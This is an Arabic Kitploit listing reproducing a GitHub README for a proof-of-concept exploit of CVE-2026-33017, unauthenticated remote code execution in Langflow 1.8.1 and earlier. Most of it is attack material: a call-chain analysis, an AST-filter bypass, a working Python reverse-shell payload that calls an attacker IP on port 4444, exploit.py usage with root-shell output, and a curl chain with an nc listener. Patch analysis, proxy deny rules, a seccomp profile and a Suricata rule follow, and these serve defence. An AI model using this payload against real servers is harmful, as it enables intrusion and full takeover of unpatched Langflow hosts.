Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33017 — استغلال PoC لثغرة RCE غير مصادَق عليها في Langflow <=1.8.1، بما في ذلك تحليل السبب الجذري على مستوى الكود المصدري، وحمولة reverse shell مدركة لـ AST، ومختبر Docker، وdiff التصحيح، وقواعد الكشف. | Kitploit
أدوات/GitHubGitHub/lxxexxbxx/cve-2026-33017
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

استغلال PoC لثغرة RCE غير مصادَق عليها في Langflow <=1.8.1، بما في ذلك تحليل السبب الجذري على مستوى الكود المصدري، وحمولة reverse shell مدركة لـ AST، ومختبر Docker، وdiff التصحيح، وقواعد الكشف.

عرض المستودع
11منذ 6 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017 — استغلال تنفيذ الأوامر عن بُعد (RCE) غير المصادق عليه في Langflow

إخلاء مسؤولية
تم إنشاء هذا المستودع لأغراض البحث الأمني والتعليم.
يُرجى استخدامه فقط في بيئات معزولة للتدريب العملي.
استخدامه ضد أنظمة غير مصرح بها يُعد انتهاكًا لقانون شبكات المعلومات والاتصالات ويعرّض مرتكبه لعقوبات جنائية.


1. نظرة عامة على الثغرة

البندالمحتوى
CVE IDCVE-2026-33017
البرنامج المصابLangflow (أداة بناء سير عمل الذكاء الاصطناعي)
الإصدارات المتأثرةLangflow ≤ 1.8.1
إصدار التصحيحLangflow ≥ 1.9.0
نوع الثغرةتنفيذ الأوامر عن بُعد (RCE) بدون مصادقة
CWECWE-306 (غياب المصادقة لوظيفة حرجة)
CVSS9.3 (حرجة)
CISA KEVمُدرجة

2. تحليل سبب الثغرة

2-1. نقطة النهاية المصابة

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

نقطة نهاية مخصصة لبناء التدفقات العامة (Public flows)، وقد صُممت لتكون قابلة للوصول بدون مصادقة.

2-2. مسار تنفيذ الكود (Call Chain)

مسار التنفيذ الذي تم التحقق منه بتتبّع الكود المصدري مباشرةً:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← استلام مدخلات العميل كما هي (الثغرة)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← تمرير بيانات العميل كما هي
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← تنفيذ كود عشوائي

2-3. تصفية عقد AST — القيد الأساسي في تصميم الحمولة

لا تقوم دالة prepare_global_scope() بتنفيذ جميع تركيبات الكود المرسَل. بعد تحليل AST، يتم انتقاء أنواع عقد معينة فقط وتنفيذها:

root@kitploit:~
# lfx/custom/validate.py — داخل prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ عُقد Expr غير مشمولة في أي فئة → لا يتم تنفيذها

exec(compiled_code, exec_globals)  # تنفيذ definitions فقط

أنواع عقد AST القابلة للتنفيذ:

الخلاصة: يجب كتابة الحمولة بصيغة Assign (_r = ...) حتى يتم تنفيذها.
الاستدعاءات البسيطة للدوال (os.system("id")) تُصنَّف كعُقد Expr وتُحذف بواسطة الفلتر.

2-4. عملية تصميم حمولة الشل العكسي — تحليل المحاولات والفشل

خلال التدريب العملي تمت تجربة عدة طرق للحمولات، وتم تحديد سبب فشل كل منها على مستوى الكود المصدري.

المحاولة 1 — subprocess.Popen + wait() (فشلت)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← حظر (Blocking) هنا

سبب الفشل: يراقب عامل (Worker) Langflow قيمة إرجاع المكوّن، وعند انتهاء المهلة يقوم بإغلاق المقبس (socket) قسريًا. وبذلك يصبح حظر _proc.wait() بلا معنى.

المحاولة 2 — الاستدعاء المباشر لـ os.execve() (فشلت)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

سبب الفشل: وفقًا لقواعد POSIX، عند استدعاء execve() في عملية متعددة الخيوط، يتم إنهاء جميع الخيوط ما عدا خيط الاستدعاء → انهيار كامل لعامل uvicorn → HTTP 500.

المحاولة 3 — os.fork() + execve() (فشلت)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

سبب الفشل: يكتشف uvicorn أن العملية الفرعية أُنهيت بشكل غير طبيعي فيعيد تشغيل العامل → HTTP 500.

المحاولة 4 — threading.Thread(daemon=True) (فشلت)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

سبب الفشل: يتم إتلاف خيوط daemon=True مع انتهاء الخيط الرئيسي (عامل Langflow). ويموت الخيط قبل اكتمال محاولة connect().

الحمولة النهائية العاملة — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → ينفَّذ
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → ينفَّذ (الاستدعاء المنفرد عبر Expr يُستبعد من الفلتر، لذا يجب الإسناد إلى متغير)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

سبب اختيار daemon=False:

  • daemon=True → يُتلف مع إنهاء خيط عامل Langflow
  • daemon=False → دورة حياة مستقلة عن العامل → إمكانية الحفاظ على اتصال المقبس

3. إعداد بيئة التدريب العملي

3-1. بنية الملفات

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # بيئة Langflow 1.8.1 المصابة
├── Dockerfile.attacker     # حاوية المهاجم (تشمل curl, nc, net-tools)
├── docker-compose.yml      # الخادم المصاب + حاوية المهاجم
├── entrypoint.sh           # تشغيل Langflow والإنشاء التلقائي للتدفق العام
├── exploit.py              # PoC الشل العكسي
└── poc.py                  # التحقق من RCE الأعمى / وجود الثغرة

3-2. تشغيل البيئة

root@kitploit:~
# 1. بناء الحاويات وتشغيلها
docker compose up --build

# 2. التحقق من الوصول إلى واجهة Langflow
# http://localhost:7860
# admin / admin123!

# 3. معرفة عناوين الحاويات
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. بنية الشبكة

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  شبكة Docker الجسرية: poc-net                    │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (الضحية)  │
│  langflow-attacker   172.19.0.3       (المهاجم)  │
└──────────────────────────────────────────────────┘

4. طريقة استخدام PoC

4-1. exploit.py — شل عكسي

يتم التنفيذ داخل حاوية المهاجم:

root@kitploit:~
docker exec -it langflow-attacker bash

# الوضع التلقائي (إصدار رمز + إنشاء تدفق عام + مستمع مدمج)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

الخيارات:

المخرجات المتوقعة:

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] جارٍ تسجيل الدخول... (admin)
[*] تم إصدار الرمز بنجاح
[*] جارٍ إنشاء التدفق العام...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] بدء المستمع → 0.0.0.0:4444
[*] نقطة النهاية : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] الاستدعاء       : 172.19.0.3:4444
[*] جارٍ إرسال الحمولة...
[*] استجابة HTTP  : 200

[+] تم الاتصال بالشل  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — التحقق من RCE الأعمى

يُستخدم للتحقق من وجود الثغرة فقط:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. إعادة الإنتاج يدويًا عبر curl

root@kitploit:~
# 1. إصدار رمز + إنشاء تدفق عام
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. مستمع nc (الطرفية 1)
nc -lvnp 4444

# 3. إرسال الحمولة (الطرفية 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. الفرق في الأدوار بين exploit.py و poc.py


6. تحليل التصحيح — 1.8.1 مقابل 1.9.1

6-1. الكود المصاب (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← استلام مدخلات العميل
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← تمرير بيانات العميل كما هي إلى خط أنابيب البناء
        ...
    )

6-2. كود التصحيح (1.9.1)

langflow/api/v1/chat.py (تم التحقق مباشرة من المصدر):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # إزالة معامل data نهائيًا من توقيع الدالة
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← قيمة None مُرمّزة، منع كامل لمدخلات العميل
        source_flow_id=flow_id,  # ← تحميل تعريف التدفق من قاعدة البيانات فقط
        ...
    )

6-3. مقارنة السلوك قبل وبعد التصحيح

6-4. تقييم تصميم التصحيح

السبب في أن تصميم إزالة المعامل نفسه — وليس مجرد التحقق من صحة المدخلات — هو التصميم الصحيح:

root@kitploit:~
التصميم المصاب: مدخلات العميل → تحقق → تنفيذ  (احتمال تجاوز التحقق قائم)
تصميم التصحيح:  مدخلات العميل → تجاهل تام
                تدفقات قاعدة البيانات المخزنة فقط → تنفيذ  (إزالة مسار الهجوم نفسه)

7. إجراءات المعالجة

الإجراء 1 — تحديث الإصدار (الحل الجذري)

root@kitploit:~
pip install langflow==1.9.1

الإجراء 2 — حظر نقطة النهاية عبر Nginx كوكيل عكسي

موقع الملف: nginx.conf (إنشاء جديد)

root@kitploit:~
server {
    listen 80;

    # حظر نقطة النهاية المصابة بـ CVE-2026-33017
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

ملاحظة: يجب أيضًا منع التعرض المباشر الخارجي لمنفذ Langflow 7860 ليكون الحظر فعّالًا.

الإجراء 3 — حظر نقطة النهاية عبر Apache كوكيل عكسي

موقع الملف:

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

الإجراء 4 — سياسة عدم استخدام التدفقات العامة

في حال عدم وجود تدفقات عامة، تُرجع نقطة النهاية 404 وبذلك يستحيل الهجوم.
يُمنع إنشاء تدفقات عامة كسياسة تشغيلية، أو يُغيَّر أسلوب التدفقات الموجودة إلى PRIVATE.

الإجراء 5 — مجموعة أمان AWS (على مستوى الشبكة)

وفقًا لبيئة EC2:

root@kitploit:~
قواعد الداخل (Inbound):
  المنفذ 7860 → السماح لعناوين IP المصرح بها فقط (إزالة 0.0.0.0/0)

الإجراء 6 — حظر الاتصالات الصادرة من الحاوية (حظر استدعاء الشل العكسي)

حتى لو نجح تنفيذ الأوامر، امنع الاستدعاءات الخارجية:

root@kitploit:~
# حظر الاتصالات الصادرة من حاوية langflow
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

أو عبر docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

الإجراء 7 — تحصين الحاوية (تقليل الضرر)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

حظر استدعاءات النظام الخطرة عبر ملف تعريف seccomp (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

ملخص إجراءات المعالجة


8. الاكتشاف — مؤشرات الاختراق (IoC)

أنماط الاكتشاف

طلبات HTTP مشبوهة:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

أنماط سجلات خادم Langflow:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

قاعدة Suricata/Snort

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. المراجع

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • التزام التصحيح الرسمي من Langflow
  • CISA KEV
  • JFrog Security Research

10. نقاط التميز عن PoC المعلنة سابقًا

لا يقتصر هذا المستودع على تشغيل PoC فحسب، بل أضاف ما يلي من خلال التحليل على مستوى الكود المصدري:

  1. اكتشاف تصفية عقد AST
    تم التحقق مباشرة من الكود المصدري أن دالة prepare_global_scope() في lfx/custom/validate.py تتجاهل عُقد Expr. وبناءً عليه تم تحديد سبب فشل حمولة الاستدعاء البسيط للدالة الموجودة في PoC المعلنة سابقًا في هذه البيئة.

  2. تحليل أسباب فشل الحمولات
    تم تحليل أسباب فشل 4 طرق هي: Popen+wait() و execve() و fork()+execve() وخيط daemon=True، من منظور بنية uvicorn متعددة الخيوط وقواعد POSIX.

  3. التحقق المباشر من كود التصحيح
    تم التحقق من الترميز الثابت data=None وإزالة المعامل في chat.py الخاص بالإصدار 1.9.1 على مستوى الكود المصدري، مع تحليل نية تصميم التصحيح.

تنزيل الأداة
نوع عقدة ASTمثالقابلية التنفيذ
FunctionDefdef _shell(): ...✅ ينفَّذ
ClassDefclass ExploitComponent(Component)✅ ينفَّذ
Assign_r = os.system("id")✅ ينفَّذ
AnnAssign_r: int = os.system("id")✅ ينفَّذ
Expros.system("id") (استدعاء منفرد)❌ يُتجاهَل
الخيارالوصفالقيمة الافتراضية
--urlعنوان URL الخاص بـ Langflow المستهدفإلزامي
--lhostعنوان IP لاستقبال اتصال الشل العكسيإلزامي
--lportمنفذ استقبال اتصال الشل العكسيإلزامي
--flow-idUUID التدفق العام (يُنشأ تلقائيًا عند الحذف)تلقائي
--userمعرف المسؤولadmin
--passwordكلمة مرور المسؤولadmin123!
--no-listenتعطيل المستمع المدمج (عند استخدام nc خارجي)False
--timeoutمهلة HTTP (بالثواني)30
البندexploit.pypoc.py
الهدفالحصول على شل عكسيالتحقق من وجود الثغرة (RCE أعمى)
التحقق من النتيجةمباشرة في طرفية المهاجمسجلات الخادم / OOB
المستمعمدمجغير مطلوب
أهداف متعددةغير مدعوممدعوم (--url-file)
الغرض التدريبيإثبات خطورة الأثرإثبات وجود الثغرة
البند1.8.1 (المصاب)1.9.1 (المصحح)
استقبال معامل data✅ يُستقبَل❌ أُزيل من التوقيع
تنفيذ تعريفات عُقد العميل✅ ممكن❌ غير ممكن
مصدر تعريف التدفقجسم طلب العميلالقيم المخزنة في قاعدة البيانات فقط
تنفيذ الأوامر بدون مصادقة✅ ينجح❌ مُحظور
استجابة HTTP200 + اتصال شل200 (بناء فارغ، بلا عُقد)
الإجراءالنوعالأثر
التحديث إلى 1.9.1حل جذريإزالة معامل data
الحظر عبر Nginx/Apacheحظر الوصولقطع مسار الهجوم
عدم استخدام التدفقات العامةحظر الوصولنقطة نهاية تُرجع 404
مجموعة أمان AWSحظر شبكيمنع الوصول الخارجي من المصدر
حظر الاتصالات الصادرةحظر لاحقحظر استدعاء الشل العكسي
تحصين الحاويةتقليل الضررحظر رفع الصلاحيات/استدعاءات النظام